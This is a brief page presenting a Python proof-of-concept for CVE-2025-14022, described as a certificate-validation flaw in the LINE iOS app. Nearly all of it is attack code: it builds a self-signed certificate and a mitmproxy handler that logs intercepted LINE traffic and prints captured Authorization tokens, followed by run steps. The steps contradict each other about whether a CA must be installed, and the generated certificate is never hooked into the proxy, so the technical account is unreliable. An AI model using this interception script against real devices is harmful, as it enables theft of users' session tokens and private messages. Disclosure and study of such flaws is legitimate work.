CVE-2025-14022 LINE iOS客户端SSL证书验证漏洞

# CVE-2025-14022 PoC - MITM Attack Simulation # This PoC demonstrates the certificate validation bypass in LINE iOS import mitmproxy from mitmproxy import http import ssl import os # Generate self-signed certificate for MITM # In real attack, attacker would use this cert on proxy server def generate_malicious_cert(): """ Generate self-signed certificate for MITM attack This works because LINE iOS SDK disables certificate validation """ from OpenSSL import crypto # Create self-signed certificate key = crypto.PKey() key.generate_key(crypto.TYPE_RSA, 2048) cert = crypto.X509() cert.get_subject().CN = "line server" cert.gmtime_adj_notBefore(0) cert.gmtime_adj_notAfter(365*24*60*60) cert.set_serial_number(1000) cert.set_issuer(cert.get_subject()) cert.set_pubkey(key) cert.sign(key, 'sha256') return cert, key # MITM Proxy Handler class LINEClientInterceptor: def __init__(self): self.cert, self.key = generate_malicious_cert() def request(self, flow: http.HTTPFlow): """ Intercept LINE iOS client traffic Due to certificate validation bypass, self-signed cert is accepted """ print(f"[CVE-2025-14022] Intercepted: {flow.request.pretty_url}") print(f"Headers: {flow.request.headers}") print(f"Content: {flow.request.content}") # Log captured sensitive data if 'Authorization' in flow.request.headers: print(f"[CRITICAL] Token captured: {flow.request.headers['Authorization']}") # Could modify traffic here due to bypassed encryption # flow.response = modify_response(flow.response) # To run this PoC: # 1. Set up mitmproxy with self-signed certificate # 2. Configure LINE iOS device to trust mitmproxy CA # 3. Route LINE iOS traffic through proxy # 4. Since SDK bypasses cert validation, attack succeeds without CA install print("CVE-2025-14022 PoC - LINE iOS MITM Attack") print("This vulnerability allows MITM without installing malicious CA")